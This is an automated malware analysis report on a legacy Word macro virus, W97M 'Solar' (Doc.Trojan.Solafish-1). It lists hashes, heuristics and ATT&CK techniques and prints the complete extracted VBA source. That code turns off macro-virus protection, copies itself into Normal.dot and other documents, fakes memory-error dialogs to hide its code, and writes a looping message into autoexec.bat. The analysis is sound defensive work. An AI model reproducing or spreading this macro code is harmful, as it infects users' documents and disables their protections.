Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 754ae0af8468b03b…

MALICIOUS

Office (OLE)

41.5 KB Created: 1999-01-01 14:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a582fe05c5a0266a9a7b5ece675e8c86 SHA-1: 7fdb7a6aad0c023a6ba5dc36e622868379ddbfed SHA-256: 754ae0af8468b03bdc6ebcae783381e73d5c232cb1bd63a37c6f6c5e50501760
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The macro attempts to disable virus protection and copy itself to the Normal.dot template, indicating an attempt at persistence. The ClamAV detection as 'Doc.Trojan.Solafish-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Solafish-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Solafish-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3930 bytes
SHA-256: 52b2fb58d8a781442fd534dfc8888c584ba20dca7d77c261566097567e5ee870
Detection
ClamAV: Doc.Trojan.Solafish-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Solar"
Sub Autoopen()
ScreenUpdating = False
On Error GoTo Nottoday
With Options
.SaveNormalPrompt = False
.VirusProtection = False
.BackgroundSave = False
.CreateBackup = False
End With
Application.EnableCancelKey = wdCancelDisabled
ActiveDocument.ReadOnlyRecommended = False
DisplayAlerts = wdAlertsNone
 Set ActiveDoc = ActiveDocument
 Set GlobalDoc = NormalTemplate
gins = False
NVB = NormalTemplate.VBProject.VBComponents.Count
For gi = 1 To NVB
If NormalTemplate.VBProject.VBComponents(gi).Name = "Solar" Then gins = True
Next gi
If gins = False Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Solar", Object:=wdOrganizerObjectProjectItems
Nottoday:
pay
ScreenUpdating = True
End Sub
Sub FileSaveAs()
On Error GoTo Nottoday
Application.EnableCancelKey = wdCancelDisabled
Dialogs(wdDialogFileSaveAs).Show
pay
Getyou
ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormatTemplate
Nottoday:
End Sub
Sub EditFind()
On Error GoTo Nottoday
Application.EnableCancelKey = wdCancelDisabled
Dialogs(wdDialogEditFind).Show
pay
Getyou
Nottoday:
End Sub
Sub FileOpen()
On Error GoTo Nottoday
Application.EnableCancelKey = wdCancelDisabled
Dialogs(wdDialogFileOpen).Show
pay
Getyou
Nottoday:
End Sub
Sub ToolsMacro()
On Error GoTo Nottoday
nem = MsgBox("Not enough memory to perform this action!" & vbCrLf & "Close some programs to free up memory.", 16, "Warning")
pay
Nottoday:
End Sub
Sub ViewVBcode()
On Error GoTo Nottoday
nem = MsgBox("Not enough memory to perform this action!" & vbCrLf & "Close some programs to free up memory.", 16, "Warning")
pay
Nottoday:
End Sub
Sub Getyou()
DisplayAlerts = wdAlertsNone
On Error GoTo Nottoday
ScreenUpdating = False
dins = False
NVB2 = ActiveDocument.VBProject.VBComponents.Count
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
For gi = 1 To NVB2
If ActiveDocument.VBProject.VBComponents(gi).Name = "Solar" Then dins = True
Next gi
If dins = False Then Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.Name, Name:="Solar", Object:=wdOrganizerObjectProjectItems
Nottoday:
ScreenUpdating = True
End Sub
Sub pay()
On Error GoTo Nottoday
If Day(Now()) <> 30 Then GoTo Nottoday:
Open "c:\autoexec.bat" For Append As #1
Print #1, ""
Print #1, ":Fish"
Print #1, "echo *****************************************************************************"
Print #1, "echo *****************************************************************************"
Print #1, "echo *****************************************************************************"
Print #1, "echo ********                                                             ********"
Print #1, "echo ********  You are infected with WM97-Solar !!! But don't panic !!!   ********"
Print #1, "echo ********  This Virus has no dangerous payload !!! It was written by  ********"
Print #1, "echo ********                      CyberFish(Germany)                     ********"
Print #1, "echo ********       Be careful, the next one will be destructive !!!      ********"
Print #1, "echo ********                                                             ********"
Print #1, "echo *****************************************************************************"
Print #1, "echo *****************************************************************************"
Print #1, "echo *****************************************************************************"
Print #1, "Pause"
Print #1, "cls"
Print #1, "goto Fish"
Close 1
Nottoday:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.